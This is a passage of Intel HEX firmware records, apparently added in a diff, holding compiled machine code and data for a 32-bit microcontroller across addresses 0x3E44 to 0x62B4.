+:103E4400004BF01F004BF01F003EC618FE68000038 +:103E54007048F1D8C001C1D0FE6800007018F1D8D4 +:103E6400C001C170FE680000F0F90800AFC9F14953 +:103E740008003019915931099169F0F90800AFA986 +:103E8400F1490800300CF01F003BF01F003BC3F861 +:103E9400FE6800007048E2180010C230FE6800009E +:103EA4007018E2180010C1D0FE680000F0F9080094 +:103EB400AFC9F1490800C0587019F3D9C001C061F5 +:103EC400F0F90804E2194000CF80FE6800003109CF +:103ED4009159301C916CF01F0027F01F0028C17805 +:103EE400FE680000F0F80804E2180002C100FE6851 +:103EF4000000F0F90800AFC9F14908003029F14980 +:103F04000808F0F90800AFA9F1490800FE680000AC +:103F1400F0F80818D402D60348F9B208FE9FFE92BE +:103F2400FE6800007018E2180008C910C81B0000E1 +:103F340080007A1C000001C880003378800035AC12 +:103F4400800033600000042880007220000001CC4F +:103F5400000001B0000001C6800036F0800035E0AA +:103F6400000001B48000338C800071B08000360CF6 +:103F74008000355C80007740800076FC48681189B9 +:103F84003008F0091800C0205EFF31794838B08944 +:103F94005EFD000000000444000006D44868901947 +:103FA4003FF8F0091900C0205EFF30F94838B089A5 +:103FB4005EFD0000000006D0000006D4485811A899 +:103FC400E2180018C0215EFF31394838B0895EFD1F +:103FD40000000444000006D4496870185808C02141 +:103FE4005EFF49591389303AF4091800C0A1E06909 +:103FF400FFF7EA190FFF1238E08B00195F0C5EFC23 +:10400400302AF4091800C071E048FFF7E08B000F74 +:104014005F0C5EFC301AF4091800C0205EFDE04815 +:104024000FF7E08B00045F0C5EFC302C5EFC00009C +:1040340000000724000006D0300A4888B08A488867 +:104044003019B0893FF9B0A9B099F16A0014F16947 +:104054000016F16900155EFC000006D60000045845 +:1040640048C91388F80818005F1848BAB488F00AD9 +:104074001502100AF20A0028B08C3FFBB0AB2FFAED +:10408400486B760BF20A092B4859721991295EFC88 +:1040940000000458000006D6000007240000072C86 +:1040A40049881188498AF008002BF40B002B1789E2 +:1040B400179B158AF20A1800C0A1493A159AF40B05 +:1040C4001800E08800052FFA48FCB89A48EAF53A47 +:1040D4000014F20A1800C0C148B9F3390015F20BF4 +:1040E4001800E08800062FF9487AF5690015F008F1 +:1040F40000284859F20800283009B0995EFC0000F5 +:10410400000006D600000458EBCD40C049081188D1 +:10411400F008002848F9F2080028F0CAFFF848EB34 +:1041240017977409F2070D060E995C59178BB0ABFB +:10413400740B121B950B489A740B121B913B741A47 +:1041440014099149F01F0006E3CD80C0000006D693 +:1041540000000458000006840000072C800040A4DE +:10416400EBCD40C04C1811894C18700A4C18701BC8 +:104174004C181188F8081800C1114BF811A8F2085E +:104184001800C0C14BC870181438C0814BA87028DF +:10419400103BC043300A1499C1884B78F13800149D +:1041A400F8081800C5E14B48F1380016F208180069 +:1041B400C5814B1870681438C5414AF870781638B0 +:1041C400E08B0050301A1499F20E1502120E4AAC0C +:1041D400F80E002C784CF6080108103CE088001614 +:1041E4004A4BF20E1502FC0900094A3EFC0900295B +:1041F4007239F00900099709101C971C49F8B08A14 +:10420400F01F001FE3CF90C049C8B08AF20815021E +:10421400F00900094988F00900283FF9B0A9704C59 +:10422400492A1599703EF80E000E201E7457FC079B +:104234000107744A1417EE090D060C972FE748CAB4 +:1042440095072F88700A140CF8C70001EE090D06B3 +:10425400AD39488AF60901099519910BE3CF80C05D +:10426400F01F0008E3CF80C000000684000007248C +:104274000000072C00000458000006D6800040A46B +:104284008000406430D94848B089484811ACE21CE9 +:1042940000105EFC000006D4000004443FF948C846 +:1042A400B01948C8F1590024F139002D3008F0093B +:1042B4001800C05110994878F169002C48683009F9 +:1042C400B0A9300A911A912AB0895EFC000006D088 +:1042D40000000684000004443008F00C19005F0A52 +:1042E40035C9F20C19005F09F5E91009F009180045 +:1042F400C0205EFF32F8F00C19005F0C5EFCD7039F +:1043040048489098A578F1D8C009483C100C5EFC48 +:10431400000006D000000484D431203D189716957F +:1043240014965009F01F006519883009F208180026 +:104334005F0B3E5AF40818005F0AF7EA100AF20A03 +:104344001800C071F93A000B30F9F20A1800C06085 +:1043540030B94DB8B089300CCA984DA9138A3009C8 +:10436400F20A1800C090E2180040C06131094D48BB +:10437400B089300CC9B82FFC3008FACBFFF63011E5 +:1043840030094D0220155015198AB69A199AB68A21 +:10439400E2061800C0F1058AF20A1800C401401EA2 +:1043A4001C38C0553008AE88301CC8089A5AAE8AEA +:1043B400C3680F8A32A5EA0A1900C7709A5E580EBC +:1043C400C0E135C5EA0A19005F1432F5EA0A19009A +:1043D4005F15E9E50005F2051800C260E9DAC010CE +:1043E400E7DEC0104005F20518005F15E6C0FFE0E7 +:1043F40000345F10EBE01000F2001800C10022034B +:1044040006345F140845F2051800C090FC0A190030 +:10441400C06031694AA8B089300CC4889A5A300EF9 +:10442400FC0A1900C0B14A79138A3009F20A18004B +:10443400C3C02FF8AE08301CC398304AF4081800E3 +:10444400C0312FDCC27830AAF4081800C0312FEC38 +:10445400C21830CAF4081800C1D1F938FFE2E218D2 +:104464000040C06131094968B089300CC1F8301886 +:10447400F0061800C0B1493811893008F009180055 +:10448400C17030E8AE08301CC1180F9CF01F000E3C +:10449400C0D8058AEECEFFFFF20A1800FC07170009 +:1044A4002FF85C582FECC71B301C2FDDD832300896 +:1044B400AE98301CCFBB000080004304000006D43B +:1044C400000006D5800042DCD431203D1897502BE3 +:1044D400149631694C08B089F01F00403008109ED2 +:1044E400301230B33085300A3014E6081800C200A8 +:1044F400F8080709EA0818005F00F40218005F1BB7 +:10450400E1EB000BF40B1800C051320BF609180054 +:10451400C101EA081800E08B000CF93900083201E7 +:10452400E2091800C050307832E93002C02830095E +:10453400E8061800C1714AAB178BF40B1800C2E1EE +:10454400402B201B163EC0353009C0A8F2C00041E4 +:10455400319BF6001800E08B00042E095C59AE89EB +:10456400C1D80F8B32A0E00B1800C3105809C0D17A +:1045740035C0E00B18005F1132F0E00B18005F103B +:104584000061F4011800C0C0F20B1800C070F2C042 +:10459400FFE0003BC030300CC1B85809C0B1490835 +:1045A40011893008F0091800C1202FFEAE0E301C0E +:1045B400C0F848B91389EECBFFFFF4091800F607D9 +:1045C40017002FFE5C5E2FF85C58C90B301C2FDDE2 +:1045D400D8320000000006D480004304000006D551 +:1045E400D401F01F00104908F939000BB0A9F8CA2A +:1045F400FFECF0C9FFFC158BB29B159AB28AF8CA7E +:10460400FFE6158BB2BB159AB2AA2E4C2F881989D6 +:10461400B0B91999B0A919A9B09919B9B089D80232 +:104624008000430400000444EBCD40801897F01F41 +:10463400001719885808C06130A94958B089E3CFD8 +:10464400808030BA4929B28A3E59F2081800C1A0C4 +:1046540032E9F2081800C160F938000B1099E21928 +:104664000008C101E2180010C0703008F0071800FB +:104674005F0CE3CD80803018F00718005F0CE3CDA9 +:104684008080E3CF8080000080004304000006D4D3 +:1046940048583FF9B0893009F16900083FF9913968 +:1046A4005EFC00000000070C30194838F16900086E +:1046B4005EFC00000000070CD401F01F0011F01F85 +:1046C4000011491811A9F969000BF8CAFFECF0C9E7 +:1046D400FFFC139BB48B138BB49BF8CAFFE613BB8C +:1046E400B48B13A9B4992E4C2F8811B9B88911A988 +:1046F400B8991199B8A91188B8B8D802800046AC05 +:104704008000430400000444498811893008F009FA +:104714001800C2A04968118949681188F009180075 +:10472400C23149387089493870881039C1D1492853 +:10473400901948E89018F0091900C161580CC0B0EC +:1047440048E811893008F0091800C0E0328948C8E7 +:10475400B0895EFD48981188E2180002C050329971 +:104764004878B0895EFD5EFF000006CC0000068438 +:10477400000006D8000006D0000006BC000006D4E5 +:10478400D42120DD580CC5A01A974AE8F0EA0000AD +:10479400FAEB0000F0EA0008FAEB0008F0EA001077 +:1047A400FAEB0010F0EA0018FAEB0018F0EA002027 +:1047B400FAEB0020F0EA0028FAEB002870C950C98F +:1047C400F8C600015C56EC04103449F91204334570 +:1047D4000A9A089B109CF01F001D0A9A1A9B089CB9 +:1047E400F01F001A49ACF8E80000FAE90000F8E804 +:1047F4000008FAE90008EC041504496810043105BE +:104804000A9A089BF01F00110A9A1A9B089CF01F31 +:10481400000F491430450A9A089B1A9CF01F000B9C +:1048240048E8F00600260A9A0C9B089CF01F000733 +:104834000A9A1A9B0C9CF01F00052F3DD8220000F9 +:1048440000000684000006D880007A5A0000044460 +:10485400000006BC000006D0000006CCD4014908C4 +:10486400F13900083018F0091800C18148C830092E +:10487400F1690008118CF01F000BC050314948A8A1 +:10488400B089D80A4868489A701B118CF01F000838 +:10489400C05030194848B089D80ADA0A0000070C19 +:1048A40080006B90000006D40000048480006BA498 +:1048B400D401E06A0200300B482CF01F0003D80238 +:1048C4000000048480007BA2EBCD408018974978D7 +:1048D400118949781188F0091800C0914938701974 +:1048E400494870081039C031E3CF9080F01F00129E +:1048F400C190F01F001248F8700B48C8911B58076C +:10490400C0C048FA48A8118CF01F000EC0603019CE +:1049140048D8B089E3CF8080485811894838B08995 +:10492400301CE3CD808000000000070C00000684EA +:104934000000044080004860800046940000048425 +:1049440080006BE0000006D4D40149F811893038A6 +:10495400F0091800C06149D890092FC9B009C0589E +:1049640049A890092FE9B00949889009E068020034 +:10497400F0091900C0C130094948B0094948700913 +:104984002FF99109301CF01F0013C1B049282FC81A +:1049940048E99289491AF409070BB0BB120A159A1F +:1049A400B0AA489A158B303AF40B1800C020DA0AE2 +:1049B40048AAF409000913AAB09A13B9B089301CA3 +:1049C400D8020000000006D0000004540000044097 +:1049D400800048CC0000072400000484D4311895DA +:1049E400FEF8021811883039F2081800C0D1FEFA16 +:1049F400020E7409A79915BBF7DBC007A36BFEFA77 +:104A04000202B40BC2083029F2081800C0814FCA50 +:104A140015A915BBA17B4FBAB40BC1583019F208C4 +:104A24001800C0303009C0F84F5972094F5AF7D9ED +:104A3400C02F120BB40BF7DBC108F6091601F7DB24 +:104A4400C001B48B5805C2204EFA740A1439C0321E +:104A54004EDA95094EDA740A1439E08800044EBA25 +:104A64009509301AF4081800C1114E68900AE068DC +:104A740001FFF00A1900C0A1F2C8FFFF4E3A740A00 +:104A84001438E08800044E1A95084E18704810092E +:104A94004E089109301CF01F0060E08000AD4D9875 +:104AA4009008EDD8C0104DD912060C970F320F8B19 +:104AB400ECC4FFFE0981ECC3FFFD07804CF9138AA7 +:104AC4003019F20A1800C111E06901FFF208190057 +:104AD400C0C14D0870092FF99109301CF01F004E18 +:104AE400E080008A4CD8118B5805C3114C48F0C99A +:104AF400FFFCF0CCFFF9B8822FA8B08B4BFA158AD3 +:104B0400303BF60A1800C061B291E1D0C004B28013 +:104B1400DA3A300BB29BB28B3019F20A1800C0207B +:104B2400DA3A4B7913B9F3D9C001C0C0198BA58BFC +:104B34001189F20A1504F60A000AB88AA589B0890F +:104B4400DA3A1189F3D9C004B089DA3A4AB811883B +:104B54003019F2081800C3A14A9811B8F1D8C0015D +:104B6400C110EBD2C0044A682FC811B9F20A150467 +:104B740014055C55A58911A8A568F208000A5C5AB9 +:104B8400C0C849F82FC811B5169AE21A00F011A846 +:104B9400F1D8C004100A5C5A49A89009E06801FFE2 +:104BA400F0091900C23149D8B08AF01F001D499894 +:104BB400700920199109301CF01F0017C1C04978F1 +:104BC400F16501FFF01F0016DA3A48D92FC913B571 +:104BD40013AA303BF6081800C0911398A888E01077 +:104BE400FFF01388F0000000A680AC85AE8AF01FA9 +:104BF400000CDA3AD83A0000000006D0000007247E +:104C040000000454000006B800000480000006847C +:104C140000000440800048CC00000484800046ACBE +:104C2400D431202D189316973089FEF8028EB0895E +:104C34003038F00C18005F0A500AFEF9028213891A +:104C4400F00918005F08F5E80008C0603FFCF01F99 +:104C5400009DE080012FFEF8026E70085808C3B171 +:104C640040095809E0810126FEF802541188F0CA6F +:104C740000013019F20A1800E08B0023FEF8024804 +:104C84007018FEF90246F319001A1238C132FEF9FF +:104C94000236FEFA0236744B1608F51B0018160885 +:104CA4009308F51A001A7218F40801089318301CB6 +:104CB400C01931A9FEF80204B089300CCFB83039DC +:104CC400F2081800C0A1FEF802027069FEF80200A2 +:104CD4009109C0384FE993083038F0031800C070C8 +:104CE4000E9CF01F007CC070301CCE48F01F007A70 +:104CF400F01F007A4F403FF8A08800964F354F4789 +:104D04003021E0C8FFF9501830126C190B98103993 +:104D1400C4326A4A14096A5A14096E0A202AF40829 +:104D24000248F20800088D08E2031800C0D14E675B +:104D34004E6811996E18F20801088F18F01F006868 +:104D4400301C8F1CCB780B99401A1588F208010887 +:104D54008D18E4031800C2014D991388E408180063 +:104D6400C1B06E04300CF01F005FE08000A36E0938 +:104D7400F2C8FFFF8F086E1A1438C0A08F090819F3 +:104D84000B98B1396C18F20800088D18C058F01F40 +:104D94000056CEE1C8E8300CF01F0052E080008AD3 +:104DA400F01F00521894E40C1800E080008301897D +:104DB4003FF8F0091800C461E20C1800C2B14C2895 +:104DC40070174CB91389F20900294CAAF409002977 +:104DD400722A0E1A932A4BD9725B724A140B1399D6 +:104DE4004BBA740A202AF20A024AF60A000A910A05 +:104DF40091193038F0031800C030F01F00394B28E7 +:104E04004B3972099109911731A94AC8B089300CFC +:104E1400C5180B986C19F20801088D18400A580A35 +:104E2400C4505808C4316E188D08E068FFFFEA18B2 +:104E34000FFF8F18301CF01F002BC3B06C088F18A5 +:104E4400C358E4031800C0A16E092FF96E18103975 +:104E5400C1B0F01F0023301CC2D840095809C1401A +:104E64006E188D0830088F180B986C191039C062B1 +:104E7400E068FFFFEA180FFF8F18301CF01F0019BD +:104E8400C1806C088F18E2041800C0B1400A580AA7 +:104E9400C040F01F0019C0E8F01F0011301CC0A86A +:104EA4000B996C18F20800088D186E188F08C2EB65 +:104EB400300C2FEDD8320000000006D4000006D0DC +:104EC400800056080000072C000006840000072418 +:104ED400800041648000403C8000524C8000410CC2 +:104EE400800049E08000494C80003FDC000006D689 +:104EF40000000458800052D8EBCD40804998909728 +:104F0400A5874998118949981188F0091800C0D1DA +:104F140049587039495870881039C0714928704807 +:104F24000E38C031E3CF908049184909728991093C +:104F34009117300B302CF01F000FC10048C87009C6 +:104F440048D89109301CF01F000DC080486848798A +:104F5400728991399147E3CF9080E3CF808000003C +:104F6400000006D00000070C000006840000072C97 +:104F740080004C2400000440800048CCEBCD40C0AD +:104F840018974AE87038F00616093029F20C180010 +:104F9400C1314AB811894AB81188F0091800C19181 +:104FA4004A7870394A5870181039C1314A487048E3 +:104FB4000C38C0F1C3383039F20C1800C33149F948 +:104FC40072195809C2B0F1D8C009C2C02FF6C2A8DC +:104FD40049D849A9721991099116301B169CF01FE2 +:104FE400001BC1E04988700949989109301CF01FE1 +:104FF4000019C16049284919721991399146E3CFC2 +:1050040090C03038F0071800C0B14938118931A870 +:10501400F00918005F0CE3CD80C0E3CF90C0E3CF6C +:1050240080C048984859721991099116301B0E9CFA +:10503400F01F0006CE70CF2B000004440000070CC4 +:10504400000006840000072C80004C24000004406B +:10505400800048CC000006D4D4314A281189300895 +:10506400F0091800C3C14A0811893FF8F009180073 +:10507400C051301949D8B089D83A300249A549C13C +:10508400300649C049C449D30B8CF01F001D189742 +:10509400C260A286A0860B880989F0091800C05155 +:1050A4004989B2864989B2860789F0091800C03156 +:1050B400F01F0016F01F0016301848C9B288583780 +:1050C400C08110025C523648F0021800CDE1C0885D +:1050D4005827C06131894858B089D83ADA3AD83A61 +:1050E4000000045600000684000006D4000006D028 +:1050F40000000444000006D80000070C80006B5C2C +:10510400000006CC000006BC800046948000403CB1 +:10511400D401F01F000BC11048A811893008F00910 +:105124001800C0B0488811893008F0091800C05030 +:1051340030594868B089D80ADA0A00008000505C07 +:10514400000006D000000444000006D4D401F01F7F +:10515400000AC0F0489811893008F0091800C0818D +:10516400F01F0007C05130E94868B089D802301CEC +:10517400D80200008000505C000006D080005C581B +:10518400000006D4D401F01F0004C030F01F000357 +:10519400D80200008000515080003FA0D401F01FCD +:1051A4000006C070F01F0005C040F01F0005D802C3 +:1051B400D80A00008000515080003FA080003F804A +:1051C400D401F01F0006C070F01F0005C040F01F9E +:1051D4000005D802D80A00008000515080003FA08A +:1051E40080005114D401F01F0004C030F01F0003EC +:1051F400D80200008000515080005114F8C90021E9 +:1052040035D8F0091800E08B001DF8C90061319809 +:10521400F0091800E088000732B8F00C1800C051FB +:10522400C108220C5C5C5EFC487AF4C8FFFF2F9A2C +:105234001189F8091800C0502FF81438CFA15EFC6A +:105244005EFD000080007EDC3FF94848910930098A +:10525400483891095EFC0000000006B80000048094 +:10526400D421300B4958911B302CF01F0015C2304B +:10527400494811984919720A201A100A4929930AAF +:105284005808C1A030070E94129648E5089CF01FF8 +:10529400000FC1105807C031F01F000DF01F000DA2 +:1052A4006C0820188D082FF75C570B98EE0818002F +:1052B400CEE1C028D82ADA2A0000072C80004C242A +:1052C4000000068400000440800048CC800048B4FC +:1052D400800046ACEBCD40FC49687008496972090E +:1052E4001238E08B002549554957301349163002CE +:1052F40049146E4912088B08069CF01F0012C15015 +:105304006E196E48F20800086C0912088B08049C98 +:10531400F01F000CC0A0F01F000C6C082FF88D08C3 +:1053240068091039CE72C038E3CF80FCE3CF90FC1B +:10533400000006B800000480000004400000068459 +:10534400800048CC800046ACD401F01F0021C3E0AB +:10535400F01F00204A0B169832E910C9F6CAFFF56F +:10536400320910C91438CFE149B83109F169000B89 +:1053740049A92FC913BAF16A001A13AAF16A001BCA +:10538400139AF16A00141389F169001532E9F1697D +:105394000020F16900212DE8F6CAFFD5320910C9B1 +:1053A4001438CFE148C83109F169002B48C92E09E6 +:1053B40013BAF16A003A13AAF16A003B139AF16A2C +:1053C40000341389F1690035301CD802800052641E +:1053D400800046AC000004840000044400000684FD +:1053E400D431205D1897503B1496F01F0030F01F05 +:1053F400003018C63001301830B930F330C631AB44 +:10540400300A31FE31B530D25001F2081800C031F3 +:10541400B883C458EC0818005F00F60818005F044D +:1054240008400094F4001800C321EA081800C3706F +:10543400E4081800C0414034B884C318400158013E +:10544400C2410F84FB54001235C1E20419005F000D +:10545400502032F0E00419005F0140200240F400C3 +:105464001800C0503004FB540012C0385804C03136 +:1054740030145004FAC4FFEE099018C00984B884AB +:105484002FF85C582FF7C0383FF1B8812FF85C58DB +:10549400FC081800E08B00082FFCCB8B2FF85C581D +:1054A4002FFCCB4B2FBDD832800046AC8000430488 +:1054B400D431201D500C300330F430053E5249A63F +:1054C4003010F01F001AC2D0F01F00191981F8C75C +:1054D400FFF50F88E80818005F19EA0318005F1841 +:1054E400F3E80008EA081800C101B882F01F0011AF +:1054F4000F88E8081800C041E2110040C0618C1810 +:105504002018AC180093CDEB40085808C031301C6B +:10551400C088300948889139303CF01F00085F1C6E +:105524002FFDD832000006D080004EFC80004304DA +:10553400800046AC0000044480004F80EBCD40FC6A +:10554400208D30060C974A953E541A933202AA17BE +:10555400F01F0027C0814A78118931A8F00918008A +:10556400C3D1C068F01F002419885808C1B149F894 +:10557400B016EC071900C3403205300449B6F01FD9 +:10558400001CC2C0F01F001C0A9A089BF01F001BDD +:10559400F01F001B8C182FF8AC18F0071900CF016E +:1055A400C1F8E8081800C170EC071900C120049A7A +:1055B400189B1A9CF01F0013AA16F01F000DC0E0E0 +:1055C400F01F000D049A1A9BF01F000EF01F000C30 +:1055D4002FF65C862FF75C87CBBB300CC028301CC1 +:1055E4002F8DE3CD80FC0000000006D080004EFC2F +:1055F400000006D48000430480007BA2800046ACF7 +:1056040080007A5AEBCD40C0201D500C49C890C987 +:10561400704A49C8121A910A300CF01F001BC2C00C +:10562400F01F001AF01F001A49A730460C9A49AB24 +:105634000E9CF01F001A0C9A499BEECCFE1CF01F26 +:1056440000171BB9EF6901E81BA9EF6901E91B9970 +:10565400EF6901EA1B88EF6801EB0C9AE06B00FF2D +:10566400EECCFE14F01F000F3558EF6801FE3AA887 +:10567400EF6801FF301C2FFDE3CD80C000000684DD +:1056840000000440800048CC800046AC800048B450 +:105694000000048480007ED080007A5A80007EE47A +:1056A40080007BA2D431201D4CD811893038F009F8 +:1056B4001800C0613FFCF01F004BE080008D4CA13E +:1056C40003893FF8F0091800C071301950093029D6 +:1056D4004C689109C0884C4870092FF94C389109DD +:1056E40030185008F01F00424C0870094C187038EC +:1056F4001039C63230050A904BC7301230134BA410 +:105704004BC6009CF01F003CC6606E185808C421AC +:105714006E088F18E4051800C08120188F08069CB5 +:10572400F01F0035C1F1C57803883FF9F20818006D +:10573400C17068085808C0F14A9811893038F009D6 +:105744001800C06031B94AD8B089300CC4586C68AC +:105754008F08C0288F08069CF01F0027C3C06E184E +:1057640089086E188F08E069FFFFEA190FFF8F1987 +:10577400069CF01F0021C2F068190D981039E08BC7 +:105784000006300949889119C238101989190695FB +:10579400C0B8E4051800C1C040085808C0506E08DD +:1057A400F0C8FE0C8F086E082FF88F086C3910397A +:1057B400FE9BFFA95805C0C140095809C0403008E4 +:1057C4005008C86B31B948D8B089300CC058F01FA4 +:1057D400000CC028300C2FFDD8320000000006D089 +:1057E400800056080000072C000007248000524C5B +:1057F40000000684800049E0000006D4800052D8EE +:10580400D431201D30094A38B019189230044A2680 +:1058140031A34A21301510971290500CF01F00202C +:10582400C1610D88E6081800C3118315F01F001D1F +:10583400C0A15804C2B1F01F001CC280AE104002C7 +:105844000A94CEDBF01F0019CEA1C208F01F001885 +:1058540019883009F2081800C06120125C52C03166 +:10586400301CC1588E182FF85C88AE18CD815804AE +:10587400C06031B94888B089300CC098F01F000A64 +:10588400C050AE1040020A94CCAB300C2FFDD8327D +:10589400000006D0000006D40000072C80004EFC57 +:1058A400800056A880005540800052648000430464 +:1058B400D431189433A230D530234986ECC1FFFF8C +:1058C4002F960A9009870E9CF01F0015C1A1EE02C5 +:1058D4001900C06002981189EE091900C06131C92C +:1058E4004908B0893003C1682FF80C38CF515805E6 +:1058F400C0412FF35C53009520155C552FF4CE3B2B +:105904003148F0031800E088000632B94858B089DD +:105914003003069CD832000080007ED4800042DC34 +:10592400000006D4D431208D1894502B14975009BC +:105934005809C040300A501AC068F01F0065F01FB3 +:105944000065501C3098F0071800E08B00043018F4 +:10595400C0883638EE081800F9B80202F9B8030313 +:10596400E06ACCCDEA1ACCCCEE0A0642E60916036C +:10597400F2090029EE0901192D095C595079E063F7 +:10598400851FEA1351EBEE030642E6091605F20BF6 +:105994001064EE0B010B5C5BF60A064AF60A16036A +:1059A4002D0A5C5A506A2D095C5950593001301740 +:1059B40002953013F00911FF2F89503932E03082FB +:1059C400F00811065C585048C02830770986E6076D +:1059D4001800C14140380A385F09E00618005F0822 +:1059E400F3E81008300AF4081800C0510C9CF01FAA +:1059F400003AC1102FF75C57CEABE4071800C12161 +:105A040030B8F0051800C0500C9CF01F0033C030B3 +:105A14003097CDDB0C9CF01F003118962FF4580CF6 +:105A2400CD603078F0071800C0C1E0061800C050FF +:105A34000C9CF01F0029C0303087CC9B2FF4CC7B0A +:105A44003068F0071800C061E4051800CBF0320696 +:105A5400C1283098F0071800C07130B9F205180059 +:105A6400C3203206C0F83058F0071800C041407611 +:105A74003067C0F83048F0071800C041406630571E +:105A8400C0F83038F0071800C04140563047C0888D +:105A940040493028F0071800C031129737E6400912 +:105AA4005809C050402810C65028C048401A14C68F +:105AB400501A2FF55C55E2081601A77110010C016C +:105AC4005C51C85B029C2F8DD8320000800046AC2C +:105AD40080004304800042DC80005200EBCD408013 +:105AE4001897F01F001219885808C06130A9490896 +:105AF400B089E3CF80803E59F2081800C070F939AC +:105B0400000B30F8F0091800C06130B94888B0893A +:105B1400E3CF808030B94868B08930BA0E9BF01F5B +:105B240000055F0CE3CD808080004304000006D4B0 +:105B340080007A34D431203D189330071A963012FD +:105B440049653004496130A0C0583FF8F007180097 +:105B5400C2002FF75C5704990E9A1A9B069CF01FFB +:105B64000011AA14F01F0010C08148D8118931A86F +:105B7400F0091800C0E1C0E81A9CF01F000CCE61C7 +:105B84000388E0081800C0608A182FF8AA18CEBB52 +:105B940030070E9C2FDDD832000006D0000006D45A +:105BA4008000592880004EFC80005AE0EBCD40FC78 +:105BB4001896F01F00211895C3B00C9CF01F001F0D +:105BC4001897C06132A949E8B089E3CF80FC0A9CE8 +:105BD400F01F001CC2D030090E9A129B0C9CF01FBF +:105BE400001A189220155C55C1C030174974EAC3D5 +:105BF400FFC05C5388182018A818F01F0015C18036 +:105C0400EA071800E60717000E9A049B0C9CF01F85 +:105C140000112FF75C57EE051800C0332F36CEBBAA +:105C240048A89019F2050005B015E3CF90FCE3CF26 +:105C340080FC0000800058B480005B38000006D46B +:105C44008000580480005928000006D080004EFCD3 +:105C5400800053E4D431203D3007FEF802D291870E +:105C6400F01F00B4FEF802D0B087FEF802CE910710 +:105C7400F01F00B3E0800158FEF502C8EAC8FE42F6 +:105C8400500838043046301CF01F00AFE080014C4F +:105C9400EB3901FE3558F0091800C0D0EB3901FF8B +:105CA4003AA8F0091800C0703029FEF8029EB089A5 +:105CB400300CC3A9FEF8028470085808C5214008B6 +:105CC400300A301E306330E230B130C01189E80947 +:105CD40018005F0BEE0918005F09F7E91009EE09D7 +:105CE4001800C19011C9FC0918005F0CEC091800D8 +:105CF4005F0BF9EB100BEE0B1800C141E60918001D +:105D0400C110E4091800C0E0E2091800C0B0E009BD +:105D14001800C0802FFA5C5A2F08EC0A1800CD71C5 +:105D2400C208EC0A1800C1D0FEF30210A56AF4CA36 +:105D3400FE42EA0A000AF5380008A6B8F538000958 +:105D4400A6A8F538000AA698F538000BA6884F884F +:105D5400118CF01F007F6608F80802488708C94BB9 +:105D64004F8811893EB8F0091800C0F14F5811A9A5 +:105D74003908F0091800C0914F28F1380015E218CD +:105D840000F0E04800F0C06030394F08B089300CB2 +:105D9400CCB830494ED8B0894EAAF539000CA19937 +:105DA400F538000DB3385C584E1BB698300B501BB9 +:105DB400FACBFFFCFAC7FFF9F53C0016AE8CFACE1D +:105DC400FFFAF53A0017BC8A401A580AC0E14DDAC6 +:105DD400F53C0024AE8CF53C0025BC8CF53C00263B +:105DE400B69CF53A0027B68A1295401CF20C024C78 +:105DF4004CFA951C4D3AF53A0013580AC1614D16F8 +:105E0400ED3400143006EC041800C0F14CDAF53619 +:105E14000020AE86F5370021BC87F53E0022B69EF1 +:105E2400F53A0023B68AC098AE8A4C6AF53A001453 +:105E3400BC8A300AB69AB68A40144BDAF80B1501BC +:105E4400F55B0018FAC6FFF6FAC7FFF44BDBF73E22 +:105E540000110EFEF73E0012AC8EF20315049ADE1A +:105E6400E60E000EA57E201EF2031509FC030C02AB +:105E7400E409024EF55E001AF733000EAE83F737DD +:105E8400000FAC879A57F73B00300E96EE0B010BD0 +:105E9400B33BB44BEE0902495C794A8B760BF20BA7 +:105EA400000B954B5C7EFC0C001C955C5808C3B041 +:105EB400A935EA09010918195019301AF40818000B +:105EC400C070A199A198F4081800CFC150194018C6 +:105ED400F0CAFFFE4969933AE0480FF4E08B0007EB +:105EE40030194958B089301CC1F8E048FFF4E08B00 +:105EF400000730294908B089301CC168303948E8A6 +:105F0400B08948B82E8848F9F33A002CB0BAF33A6D +:105F1400002DB0AAF33A002EB09AF339002FB089BD +:105F2400301CC028300C2FDDD8320000000006845D +:105F3400800042A0000006D0000004408000505CB5 +:105F440000000484800048CC000006D480006B88E4 +:105F5400D401F01F0007C041E06C00FFD80248588C +:105F64007029703810395F8CD8020000800051A06D +:105F740000000444D401F01F000AC10048981188AD +:105F8400E2180002C080F01F0008C080F01F000764 +:105F9400F01F000730094838B089D802800051A0AA +:105FA4000000044480004EFC800046BC8000486031 +:105FB400D40149781188F1D8C001C05131E9495858 +:105FC400B089DC0A4928702970381039E08B000642 +:105FD40032094908B089DC0A302CF01F000FC0C117 +:105FE40048C8118931A8F0091800C020DC0A320918 +:105FF4004888B089DC0A48687039F5D9C009487BFB +:10600400F60A070C2FF99139D80200000000044465 +:10601400000006D480004F8000000484EBCD40C013 +:106024001897F01F0020C3A0F01F001FC3700E9626 +:106034000E98E2180002C190301CF01F001CC2E050 +:1060440049B811A8F1D8C001C06031594998B08944 +:10605400E3CF80C04988118CF01F0018C0A03149DB +:106064004948B089E3CF80C0300CF01F0010C160F4 +:106074000C98E2180004C040300948D89129E2166F +:106084000008C050300948A89139C0484888702990 +:1060940091394878B087E3CF90C0E3CF80C0000047 +:1060A400800051C480003FC08000470C00000444BD +:1060B400000006D40000068480006B90203D4869EF +:1060C400728B486A941A1389B889991BB84A2FDDD0 +:1060D4005EFC000000000684000006D0D431201DC0 +:1060E4001895169714961294F01F0032C5E03018D4 +:1060F400F00618005F0A3008F00718005F09F5E998 +:106104000009F0091800C030301CC5084AA89013D3 +:106114005803C0313010C068E6C900014A68B0199C +:1061240030003008500831014A32C0283010F01FC6 +:106134000023C3B05800C0700C9A0E9B0A9CF01F39 +:106144000020C34808990C9A0E9B0A9CF01F001D5E +:10615400C0F049D811893008F0091800C0508A08E5 +:1061640040091208AA084948B013301CC1F84979FB +:106174001388E2081800C070A41330B9F20818009C +:10618400C141CD5B490913883009F2081800C06089 +:1061940040082F385C885008C0482F3520D75C57FA +:1061A40084182018A418CC4B300C2FFDD8320000D2 +:1061B40080005188000006D080004EFC800044CC52 +:1061C4008000431C000006D5000006D4D431204DC5 +:1061D400500C1690F01F0053E08000A14D28901839 +:1061E40050384D28F10A0024502AF138002C501858 +:1061F4003005301230074CC34CC64CD1E4001800B3 +:106204005F04EE0518005F18E9E81008EE081800AE +:10621400C0D086183FE9F2081900C05130894C48B3 +:10622400B089C7182FF8A618C1E886183FFAF408F1 +:106234001900C05130994BE8B089C6585808C111AB +:10624400ED38002CEE081800C080ED38002DEE0863 +:106254001800C0313015C07830994B58B089C53812 +:106264002018A618F01F0033C071038931A8F00963 +:106274001800C300C488ED3C002CF01F002FC1C0DF +:106284005805CBD15804C070ED0800242FF8ED5800 +:106294000024C068ED0800242018ED5800244009AB +:1062A4005809C051F01F0025301CC388400820182D +:1062B4005C885008CA4B038830A9F20818005F09AB 